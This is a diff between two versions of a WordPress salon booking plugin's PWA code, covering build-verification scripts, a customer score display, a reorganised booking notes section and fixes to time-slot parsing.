\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fversion.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fversion.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fversion.json\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fversion.json\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,5 +1,5 @@\n {\n-  \"buildTime\": \"2026-03-24T14:32:54.560Z\",\n-  \"buildHash\": \"e3dab1cd26f21fb5\",\n-  \"timestamp\": 1774362774561\n+  \"buildTime\": \"2026-03-28T13:42:15.308Z\",\n+  \"buildHash\": \"21fa8ef7aa2a770a\",\n+  \"timestamp\": 1774705335309\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpackage.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpackage.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpackage.json\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpackage.json\t2026-04-21 18:43:56.000000000 +0000\n@@ -6,7 +6,8 @@\n     \"serve\": \"vue-cli-service serve\",\n     \"prebuild\": \"node scripts\u002Fupdate-version.js\",\n     \"build\": \"vue-cli-service build\",\n-    \"postbuild\": \"node scripts\u002Fverify-dist-placeholder.js && node scripts\u002Fsync-pwa-dist-templates.js\",\n+    \"postbuild\": \"node scripts\u002Fverify-dist-placeholder.js && node scripts\u002Fsync-pwa-dist-templates.js && node scripts\u002Fverify-pwa-templates.js\",\n+    \"verify:pwa-dist\": \"node scripts\u002Fverify-dist-placeholder.js && node scripts\u002Fverify-pwa-templates.js\",\n     \"lint\": \"vue-cli-service lint\"\n   },\n   \"dependencies\": {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpublic\u002Fversion.json \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpublic\u002Fversion.json\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpublic\u002Fversion.json\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fpublic\u002Fversion.json\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,5 +1,5 @@\n {\n-  \"buildTime\": \"2026-03-24T14:32:54.560Z\",\n-  \"buildHash\": \"e3dab1cd26f21fb5\",\n-  \"timestamp\": 1774362774561\n+  \"buildTime\": \"2026-03-28T13:42:15.308Z\",\n+  \"buildHash\": \"21fa8ef7aa2a770a\",\n+  \"timestamp\": 1774705335309\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fsync-pwa-dist-templates.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fsync-pwa-dist-templates.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fsync-pwa-dist-templates.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fsync-pwa-dist-templates.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -13,6 +13,8 @@\n   ['js\u002Fapp.js.map', 'js\u002Fapp.js.template.map'],\n   ['service-worker.js', 'service-worker.template.js'],\n   ['service-worker.js.map', 'service-worker.js.template.map'],\n+  \u002F** Plugin.php also hydrates index.html from this template on each PWA load. *\u002F\n+  ['index.html', 'index.template.html'],\n ];\n \n for (const [fromRel, toRel] of pairs) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fverify-dist-placeholder.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fverify-dist-placeholder.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fverify-dist-placeholder.js\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts\u002Fverify-dist-placeholder.js\t2026-04-21 18:43:56.000000000 +0000\n@@ -8,7 +8,9 @@\n \n const dist = path.join(__dirname, '..\u002Fdist');\n const appJs = path.join(dist, 'js\u002Fapp.js');\n+const swJs = path.join(dist, 'service-worker.js');\n const PLACEHOLDER = '\u002F{SLN_PWA_DIST_PATH}\u002F';\n+const TOKEN = '{SLN_PWA_DIST_PATH}';\n \n function walkJsFiles(dir, out) {\n   if (!fs.existsSync(dir)) return;\n@@ -34,6 +36,13 @@\n   process.exit(1);\n }\n \n+if (appSrc.includes('\u002Fwp-content\u002Fplugins\u002F') || appSrc.includes('wp-content\\\\plugins\\\\')) {\n+  console.error(\n+    'verify-dist-placeholder: dist\u002Fjs\u002Fapp.js contains wp-content\u002Fplugins — run a clean `npm run build` in pwa\u002F; do not commit files after opening the PWA on a site.'\n+  );\n+  process.exit(1);\n+}\n+\n if (appSrc.toLowerCase().includes('symlink')) {\n   console.error(\n     'verify-dist-placeholder: dist\u002Fjs\u002Fapp.js contains \"symlink\" — rebuild; vue.config must use mode-based publicPath.'\n@@ -51,9 +60,20 @@\n   }\n }\n \n-const swPath = path.join(dist, 'service-worker.js');\n-if (fs.existsSync(swPath)) {\n-  const sw = fs.readFileSync(swPath, 'utf8');\n+if (fs.existsSync(swJs)) {\n+  const sw = fs.readFileSync(swJs, 'utf8');\n+  if (!sw.includes(PLACEHOLDER) && !sw.includes(TOKEN)) {\n+    console.error(\n+      'verify-dist-placeholder: dist\u002Fservice-worker.js must include \"\u002F{SLN_PWA_DIST_PATH}\u002F\" or \"{SLN_PWA_DIST_PATH}\" (Workbox precache).'\n+    );\n+    process.exit(1);\n+  }\n+  if (sw.includes('\u002Fwp-content\u002Fplugins\u002F') || sw.includes('wp-content\\\\plugins\\\\')) {\n+    console.error(\n+      'verify-dist-placeholder: dist\u002Fservice-worker.js contains wp-content\u002Fplugins — rebuild; only placeholder paths may be committed.'\n+    );\n+    process.exit(1);\n+  }\n   if (sw.toLowerCase().includes('symlink')) {\n     console.error('verify-dist-placeholder: dist\u002Fservice-worker.js contains \"symlink\".');\n     process.exit(1);\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fscripts: verify-pwa-templates.js\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fcustomers-address-book\u002FCustomerDetails.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fcustomers-address-book\u002FCustomerDetails.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fcustomers-address-book\u002FCustomerDetails.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fcustomers-address-book\u002FCustomerDetails.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -34,7 +34,7 @@\n     \u003C!-- Stats section: skeleton while loading -->\n     \u003Cdiv class=\"stats-card stats-skeleton\" v-if=\"isLoadingStats\">\n       \u003Cdiv class=\"stats-row\">\n-        \u003Cdiv class=\"stat-item\" v-for=\"i in ($root.settings.fidelity_score_enabled ? 4 : 3)\" :key=\"i\">\n+        \u003Cdiv class=\"stat-item\" v-for=\"i in 4\" :key=\"i\">\n           \u003Cspan class=\"skeleton-line skeleton-value\">\u003C\u002Fspan>\n           \u003Cspan class=\"skeleton-line skeleton-label\">\u003C\u002Fspan>\n         \u003C\u002Fdiv>\n@@ -58,15 +58,31 @@\n           \u003Cspan class=\"stat-value\">{{ statFormatLastVisit(stats.lastVisit) }}\u003C\u002Fspan>\n           \u003Cspan class=\"stat-label\">Last Visit\u003C\u002Fspan>\n         \u003C\u002Fdiv>\n-        \u003Ctemplate v-if=\"$root.settings.fidelity_score_enabled\">\n-          \u003Cdiv class=\"stat-divider\">\u003C\u002Fdiv>\n-          \u003Cdiv class=\"stat-item\">\n-            \u003Cspan class=\"stat-value stat-value--score\" :style=\"{ color: scoreColor(stats.score) }\">{{ stats.score !== null ? stats.score : '—' }}\u003C\u002Fspan>\n+        \u003Cdiv class=\"stat-divider\">\u003C\u002Fdiv>\n+        \u003Cdiv class=\"stat-item stat-item--score\">\n+          \u003Ctemplate v-if=\"$root.settings.fidelity_score_enabled\">\n+            \u003Cspan class=\"stat-value stat-value--score stat-value--score-row\" :style=\"{ color: scoreColor(stats.score) }\">\n+              \u003Cspan class=\"stat-value--score-num\">{{ stats.score !== null ? stats.score : '—' }}\u003C\u002Fspan>\n+              \u003Cfont-awesome-icon icon=\"fa-solid fa-medal\" class=\"stat-score-medal\" aria-hidden=\"true\" \u002F>\n+            \u003C\u002Fspan>\n             \u003Cspan class=\"stat-label\">Score\u003C\u002Fspan>\n-          \u003C\u002Fdiv>\n-        \u003C\u002Ftemplate>\n+          \u003C\u002Ftemplate>\n+          \u003Ctemplate v-else>\n+            \u003Cspan class=\"stat-value stat-value--score-row\">\n+              \u003Cspan>0\u003C\u002Fspan>\n+              \u003Cfont-awesome-icon icon=\"fa-solid fa-medal\" class=\"stat-score-medal stat-score-medal--inactive\" aria-hidden=\"true\" \u002F>\n+            \u003C\u002Fspan>\n+            \u003Cspan class=\"stat-label stat-label--inactive-score\">Score not active\u003C\u002Fspan>\n+          \u003C\u002Ftemplate>\n+        \u003C\u002Fdiv>\n       \u003C\u002Fdiv>\n     \u003C\u002Fdiv>\n+    \u003Cp\n+      v-if=\"!isLoadingStats && stats.bookingsCount !== null\"\n+      class=\"stats-admin-disclaimer\"\n+    >\n+      these data are visible to salon administrator only\n+    \u003C\u002Fp>\n \n     \u003C!-- Recent Bookings: skeleton while loading -->\n     \u003Cdiv class=\"form-card recent-bookings-card\" v-if=\"isLoadingStats\">\n@@ -589,9 +605,13 @@\n   display: flex;\n   align-items: center;\n   padding: 14px var(--spacing-page, 16px);\n+  padding-top: max(14px, env(safe-area-inset-top, 0px));\n   position: sticky;\n   top: 0;\n   z-index: 10;\n+  background: var(--color-surface, #fff);\n+  border-bottom: 1px solid var(--color-border, #E2E8F0);\n+  box-shadow: 0 1px 0 rgba(15, 23, 42, 0.04);\n }\n .back-btn {\n   background: none;\n@@ -640,12 +660,27 @@\n   flex: 1;\n }\n .stat-value {\n-  font-size: 22px;\n+  font-size: calc(22px * 0.85);\n   font-weight: 700;\n   color: var(--color-primary, #2563EB);\n   line-height: 1.1;\n   letter-spacing: -0.02em;\n }\n+.stat-value--score-row {\n+  display: inline-flex;\n+  align-items: center;\n+  justify-content: center;\n+  gap: 6px;\n+}\n+.stat-score-medal {\n+  font-size: calc(16px * 0.85);\n+  flex-shrink: 0;\n+  opacity: 0.92;\n+}\n+.stat-score-medal--inactive {\n+  color: var(--color-primary, #2563EB);\n+  opacity: 0.35;\n+}\n .stat-label {\n   font-size: 10px;\n   font-weight: 700;\n@@ -653,13 +688,35 @@\n   letter-spacing: 0.08em;\n   color: var(--color-text-muted, #94A3B8);\n }\n+.stat-item--score {\n+  min-width: 0;\n+}\n+.stat-label--inactive-score {\n+  text-transform: none;\n+  letter-spacing: 0.02em;\n+  font-weight: 600;\n+  font-size: 9px;\n+  line-height: 1.25;\n+  text-align: center;\n+  max-width: 88px;\n+}\n .stat-divider {\n   width: 1px;\n-  height: 36px;\n+  height: calc(36px * 0.85);\n   background: var(--color-border, #E2E8F0);\n   flex-shrink: 0;\n }\n \n+.stats-admin-disclaimer {\n+  margin: 8px var(--spacing-page, 16px) 0;\n+  padding: 0 var(--spacing-card, 14px);\n+  font-size: 11px;\n+  line-height: 1.35;\n+  font-weight: 500;\n+  text-align: center;\n+  color: var(--color-text-muted, #94A3B8);\n+}\n+\n \u002F* ── Recent Bookings ── *\u002F\n .recent-bookings-card { padding-bottom: 4px; }\n .recent-booking-row {\n@@ -785,7 +842,7 @@\n   animation: skeleton-shimmer 1.4s infinite;\n   border-radius: 6px;\n }\n-.skeleton-value { width: 64px; height: 22px; }\n+.skeleton-value { width: 64px; height: calc(22px * 0.85); }\n .skeleton-label { width: 48px; height: 11px; margin-top: 6px; }\n .booking-row-skeleton {\n   display: flex;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FAttendantTimeSlots.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FAttendantTimeSlots.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FAttendantTimeSlots.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FAttendantTimeSlots.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -560,12 +560,11 @@\n     timeToMinutes(time) {\n       if (!time) return 0;\n       if (time === this.END_OF_DAY || time === '24:00') return this.MINUTES_IN_DAY;\n-      if (this.$root.settings.time_format.js_format === 'h:iip') {\n+      const jsFormat = this.$root.settings?.time_format?.js_format;\n+      if (jsFormat && jsFormat.toLowerCase() === 'h:iip' && \u002F[ap]m\u002Fi.test(time)) {\n         const momentTime = this.moment(time, 'h:mm A');\n-        const [hours, minutes] = [momentTime.hours(), momentTime.minutes()];\n-        return hours * 60 + minutes;\n+        return momentTime.hours() * 60 + momentTime.minutes();\n       }\n-\n       const [hours, minutes] = time.split(':').map(Number);\n       return hours * 60 + minutes;\n     },\n@@ -590,6 +589,11 @@\n       return `${attendantId}-${timeslot}-${nextTimeslot}`;\n     },\n     isTimeSlotAllowedByRule(rule, slotMinutes, currentDate) {\n+      \u002F\u002F Normalize from\u002Fto to plain arrays regardless of whether the API\n+      \u002F\u002F returned a JSON array or a JSON object with numeric string keys.\n+      const fromArr = Array.isArray(rule.from) ? rule.from : Object.values(rule.from || {});\n+      const toArr   = Array.isArray(rule.to)   ? rule.to   : Object.values(rule.to   || {});\n+\n       \u002F* check for specific dates *\u002F\n       if (rule.select_specific_dates && rule.specific_dates) {\n         const specificDates = rule.specific_dates.split(',');\n@@ -598,13 +602,11 @@\n           return false;\n         }\n         \u002F\u002F check time intervals if available\n-        if (Array.isArray(rule.from) && Array.isArray(rule.to) && rule.from.length > 0 && rule.to.length > 0) {\n-          return Object.keys(rule.from).some(index => {\n-            if (index > 0 && rule.disable_second_shift) {\n-              return false;\n-            }\n-            const fromMin = this.getTimeInMinutes(rule.from[index]);\n-            const toMin = this.getTimeInMinutes(rule.to[index]);\n+        if (fromArr.length > 0 && toArr.length > 0) {\n+          return fromArr.some((fromTime, index) => {\n+            if (index > 0 && rule.disable_second_shift) return false;\n+            const fromMin = this.getTimeInMinutes(fromTime);\n+            const toMin   = this.getTimeInMinutes(toArr[index]);\n             return slotMinutes >= fromMin && slotMinutes \u003C toMin;\n           });\n         }\n@@ -618,7 +620,7 @@\n       \u002F* check for date range limits *\u002F\n       if (!rule.always && (rule.from_date || rule.to_date)) {\n         const ruleFromDate = rule.from_date ? this.moment(rule.from_date, 'YYYY-MM-DD') : null;\n-        const ruleToDate = rule.to_date ? this.moment(rule.to_date, 'YYYY-MM-DD') : null;\n+        const ruleToDate   = rule.to_date   ? this.moment(rule.to_date,   'YYYY-MM-DD') : null;\n         if (ruleFromDate && currentDate.isBefore(ruleFromDate, 'day')) {\n           return false;\n         }\n@@ -633,22 +635,20 @@\n       }\n \n       \u002F* check time intervals (from\u002Fto pairs) *\u002F\n-      if (Array.isArray(rule.from) && Array.isArray(rule.to)) {\n+      if (fromArr.length > 0 && toArr.length > 0) {\n         \u002F\u002F check if current day is allowed\n         if (!rule.days || rule.days[currentDate.isoWeekday()] !== 1) {\n           return false;\n         }\n-        return Object.keys(rule.from).some(index => {\n-          if (index > 0 && rule.disable_second_shift) {\n-            return false;\n-          }\n-          const fromMin = this.getTimeInMinutes(rule.from[index]);\n-          const toMin = this.getTimeInMinutes(rule.to[index]);\n+        return fromArr.some((fromTime, index) => {\n+          if (index > 0 && rule.disable_second_shift) return false;\n+          const fromMin = this.getTimeInMinutes(fromTime);\n+          const toMin   = this.getTimeInMinutes(toArr[index]);\n           return slotMinutes >= fromMin && slotMinutes \u003C toMin;\n         });\n       }\n \n-      \u002F* true for non-specific dates *\u002F\n+      \u002F* true for non-specific dates with no time restrictions *\u002F\n       if (rule.always && rule.days && rule.days[currentDate.isoWeekday()] === 1) {\n         return true;\n       }\n@@ -675,7 +675,7 @@\n         \u002F* PART 1: CHECK SALON AVAILABILITY *\u002F\n         \u002F* -- step 1: salon working day -- *\u002F\n         const availableDays = this.$root.settings?.available_days || {};\n-        if (availableDays[weekdaySalon] !== '1') return true;\n+        if (availableDays[weekdaySalon] != 1) return true;\n \n         \u002F* -- step 2: hard blocks -- *\u002F\n         \u002F\u002F 2.1: check all holiday rules (salon-wide and assistant-specific)\n@@ -731,7 +731,7 @@\n         const salonAvail = this.$root.settings?.availabilities || [];\n         if (salonAvail.length) {\n           \u002F\u002F get all applicable rules for this day\n-          const rule = salonAvail.filter(r => r.days?.[weekdaySalon] === '1');\n+          const rule = salonAvail.filter(r => r.days?.[weekdaySalon] == 1);\n           if (rule.length === 0) return true; \u002F\u002F ==> no rules for this day = day off\n \n           \u002F\u002F check if time is in ANY shift of ANY applicable rule\n@@ -778,9 +778,15 @@\n       if (!time) return time;\n       if (time === this.END_OF_DAY || time === '24:00') return this.END_OF_DAY;\n \n-      if (this.$root.settings?.time_format?.js_format === 'h:iip') {\n-        const momentTime = this.moment(time, 'h:mm A');\n-        return momentTime.format('HH:mm');\n+      const jsFormat = this.$root.settings?.time_format?.js_format;\n+      if (jsFormat && jsFormat.toLowerCase() === 'h:iip') {\n+        \u002F\u002F AM\u002FPM display format: input may be a user-visible \"9:00 AM\" or an\n+        \u002F\u002F internally stored 24h time like \"9:00\" \u002F \"19:00\".\n+        if (\u002F[ap]m\u002Fi.test(time)) {\n+          return this.moment(time, 'h:mm A').format('HH:mm');\n+        }\n+        \u002F\u002F Stored 24h time — parse with H:mm to avoid Invalid Date.\n+        return this.moment(time, 'H:mm').format('HH:mm');\n       }\n \n       const momentFormat = this.getTimeFormat();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FReservationsCalendar.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FReservationsCalendar.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FReservationsCalendar.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Freservations-calendar\u002FReservationsCalendar.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -905,10 +905,10 @@\n         let sys = false;\n         try {\n           if (!intervalsEmpty) {\n-            if (settings.available_days?.[weekday] !== '1') {\n+            if (settings.available_days?.[weekday] != 1) {\n               sys = true;\n             } else if (availabilities.length) {\n-              const rule = availabilities.find(availabilityRule => availabilityRule.days?.[weekday] === '1');\n+              const rule = availabilities.find(availabilityRule => availabilityRule.days?.[weekday] == 1);\n               if (!rule) {\n                 sys = true;\n               } else {\n@@ -1022,7 +1022,7 @@\n                   if (manualLock) {\n                     sl = true;\n                   } else if (availabilities.length) {\n-                    const dayRules = availabilities.filter(availabilityRule => availabilityRule.days?.[weekday] === '1');\n+                    const dayRules = availabilities.filter(availabilityRule => availabilityRule.days?.[weekday] == 1);\n                     if (dayRules.length === 0) {\n                       sl = true;\n                     } else {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FBookingDetails.vue \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FBookingDetails.vue\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FBookingDetails.vue\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fsrc\u002Fcomponents\u002Ftabs\u002Fupcoming-reservations\u002FBookingDetails.vue\t2026-04-21 18:43:56.000000000 +0000\n@@ -67,7 +67,6 @@\n         \u003Ca :href=\"'sms:' + customerPhone\" class=\"contact-btn\">\u003Cfont-awesome-icon icon=\"fa-solid fa-message\" \u002F>\u003C\u002Fa>\n         \u003Ca :href=\"'https:\u002F\u002Fwa.me\u002F' + customerPhone\" class=\"contact-btn\">\u003Cfont-awesome-icon icon=\"fa-brands fa-whatsapp\" \u002F>\u003C\u002Fa>\n       \u003C\u002Fdiv>\n-      \u003Cdiv class=\"customer-note-text\" v-if=\"customerNote\">{{ customerNote }}\u003C\u002Fdiv>\n     \u003C\u002Fdiv>\n \n     \u003C!-- Services -->\n@@ -114,21 +113,34 @@\n       \u003C\u002Fdiv>\n     \u003C\u002Fdiv>\n \n+    \u003C!-- Notes -->\n+    \u003Cdiv class=\"detail-card\" v-if=\"customerNote || customerPersonalNote || adminNote\">\n+      \u003Cp class=\"section-label\">{{ getLabel('notesTitle') || 'Notes' }}\u003C\u002Fp>\n+      \u003Cdiv class=\"note-block\" v-if=\"customerNote\">\n+        \u003Cspan class=\"note-block-label\">{{ getLabel('customerMessageLabel') || 'Customer message' }}\u003C\u002Fspan>\n+        \u003Cp class=\"note-block-text\">{{ customerNote }}\u003C\u002Fp>\n+      \u003C\u002Fdiv>\n+      \u003Cdiv class=\"note-block\" v-if=\"customerPersonalNote\">\n+        \u003Cspan class=\"note-block-label\">{{ getLabel('customerPersonalNotesLabel') }}\u003C\u002Fspan>\n+        \u003Cp class=\"note-block-text\">{{ customerPersonalNote }}\u003C\u002Fp>\n+      \u003C\u002Fdiv>\n+      \u003Cdiv class=\"note-block\" v-if=\"adminNote\">\n+        \u003Cspan class=\"note-block-label\">{{ getLabel('adminNoteLabel') || 'Administration note' }}\u003C\u002Fspan>\n+        \u003Cp class=\"note-block-text\">{{ adminNote }}\u003C\u002Fp>\n+      \u003C\u002Fdiv>\n+    \u003C\u002Fdiv>\n+\n     \u003C!-- Extra Info -->\n-    \u003Cdiv class=\"detail-card\" v-if=\"customFieldsList.length || customerPersonalNote\">\n+    \u003Cdiv class=\"detail-card\" v-if=\"bookingCustomFieldsList.length\">\n       \u003Cdiv class=\"collapsible-header\" @click=\"visibleExtraInfo = !visibleExtraInfo\">\n         \u003Cp class=\"section-label mb-0\">{{ getLabel('extraInfoLabel') }}\u003C\u002Fp>\n         \u003Cfont-awesome-icon :icon=\"visibleExtraInfo ? 'fa-solid fa-chevron-up' : 'fa-solid fa-chevron-down'\" class=\"collapsible-icon\" \u002F>\n       \u003C\u002Fdiv>\n       \u003Cb-collapse v-model=\"visibleExtraInfo\">\n-        \u003Cdiv class=\"extra-field\" v-for=\"field in customFieldsList\" :key=\"field.key\">\n+        \u003Cdiv class=\"extra-field\" v-for=\"field in bookingCustomFieldsList\" :key=\"field.key\">\n           \u003Cspan class=\"extra-field-label\">{{ field.label }}\u003C\u002Fspan>\n           \u003Cstrong class=\"extra-field-value\">{{ field.value }}\u003C\u002Fstrong>\n         \u003C\u002Fdiv>\n-        \u003Cdiv class=\"extra-field\" v-if=\"customerPersonalNote\">\n-          \u003Cspan class=\"extra-field-label\">{{ getLabel('customerPersonalNotesLabel') }}\u003C\u002Fspan>\n-          \u003Cstrong class=\"extra-field-value\">{{ customerPersonalNote }}\u003C\u002Fstrong>\n-        \u003C\u002Fdiv>\n       \u003C\u002Fb-collapse>\n     \u003C\u002Fdiv>\n \n@@ -176,6 +188,9 @@\n             customerPersonalNote() {\n                 return this.bookingData.customer_personal_note\n             },\n+            adminNote() {\n+                return this.bookingData.admin_note\n+            },\n             services() {\n                 return this.bookingData.services\n             },\n@@ -201,6 +216,9 @@\n             customFieldsList() {\n                 return this.bookingData.custom_fields.filter(i => ['html', 'file'].indexOf(i.type) === -1)\n             },\n+            bookingCustomFieldsList() {\n+                return this.customFieldsList.filter(i => !i.is_customer && i.value)\n+            },\n             photos() {\n                 return this.bookingData.customer_photos\n             },\n@@ -443,12 +461,23 @@\n   font-size: 15px;\n   text-decoration: none;\n 